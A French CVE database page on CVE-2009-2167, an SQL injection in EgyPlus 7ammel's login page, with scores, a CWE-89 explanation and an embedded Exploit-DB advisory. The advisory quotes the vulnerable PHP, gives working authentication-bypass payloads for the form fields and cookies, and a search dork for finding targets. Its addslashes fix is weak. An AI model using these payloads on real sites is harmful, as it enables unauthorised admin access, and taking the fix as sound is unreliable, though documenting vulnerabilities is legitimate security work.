CVE-2009-2167 : Détail

CVE-2009-2167

SQL Injection
A03-Injection
0.37%V4
Network
2009-06-22
18h00 +00:00
2017-09-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple SQL injection vulnerabilities in cpanel/login.php in EgyPlus 7ammel (aka 7ml) 1.0.1 and earlier, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) username or (2) password parameter.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 8865

Date de publication : 2009-06-02 22h00 +00:00
Auteur : Qabandi
EDB Vérifié : Yes

|| || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . =By: Qabandi =Email: iqa[a]hotmail.fr From Kuwait, PEACE... =Vuln: EgyPlus 7ml <= 1.0.1 - Cookie Auth Bypass SQL injection vulnerability (CABSIV) =INFO: http://egyplus.org/article-2.htm =Download: http://traidnt.net/vb/attachment.php?attachmentid=252224&d=1211197439 =DORK: "Powered By EgyPlus" _-=/:Conditions:\=-_ --------------------------------------------------------------------------------- ; Magic quotes for incoming GET/POST/Cookie data. magic_quotes_gpc = Off --------------------------------------=_=--------------------------------------- _-=/:Vulnerable_Code:\=-_ --------------------------------------------------------------------------------- ./cpanel/login.php::-- if($_COOKIE['username']){ $username = $_COOKIE['username']; <---- Not filtered $password = $_COOKIE['password']; <---- Not filtered }else{ $username = $_POST['username']; <---- Not filtered $password = $_POST['password']; <---- Not filtered } $sql=$hazemali->query("select name,pass from admin where name = '$username' and pass = '$password' "); $AdminInfo=$hazemali->num_rows($sql); if($AdminInfo==1) <---- Checks if MySQL statement is true then continues, FAIL... { ---------------------------------------=_=-------------------------------------- _-=/:Proof-OF-Concept-or-Whatever:\=-_ --------------------------------------------------------------------------------- We have TWO ways to do this: Login with these: username: qabandi' or '1'='1 password: qabandi' or '1'='1 or we set cookies (longer version) javascript:document.cookie = "username=qabandi' or '1'='1" javascript:document.cookie = "password=qabandi' or '1'='1" ---------------------------------------=_=-------------------------------------- _-=/:SOLUTION:\=-_ --------------------------------------------------------------------------------- ./cpanel/login.php::-- <== Change the code as following; if($_COOKIE['username']){ $username = addslashes($_COOKIE['username']); <---- Filter with ADDSLASHES() $password = addslashes($_COOKIE['password']); <---- Filter with ADDSLASHES() }else{ $username = addslashes($_POST['username']); <---- Filter with ADDSLASHES() $password = addslashes($_POST['password']); <---- Filter with ADDSLASHES() } $sql=$hazemali->query("select name,pass from admin where name = '$username' and pass = '$password' "); $AdminInfo=$hazemali->num_rows($sql); if($AdminInfo==1) { ---------------------------------------=_=-------------------------------------- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=- -=-=-=-==Bdon-=-za3al=-=-shabab-=-=el-thaghra-=-mafe=--=Mnha=--=-faydeh-==-==-=- -=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=- -==-=-=-=-==-=-==-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=---=-==-=-==-=-=-=-=-=-=-- =-=-=-=-==-=-=-=-=-=-No----More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=- Salam to All Muslim Hackers. # milw0rm.com [2009-06-03]

Products Mentioned

Configuraton 0

Egyplus>>7ammel >> Version To (including) 1.0.1

Références

https://www.exploit-db.com/exploits/8865
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2009/1491
Tags : vdb-entry, x_refsource_VUPEN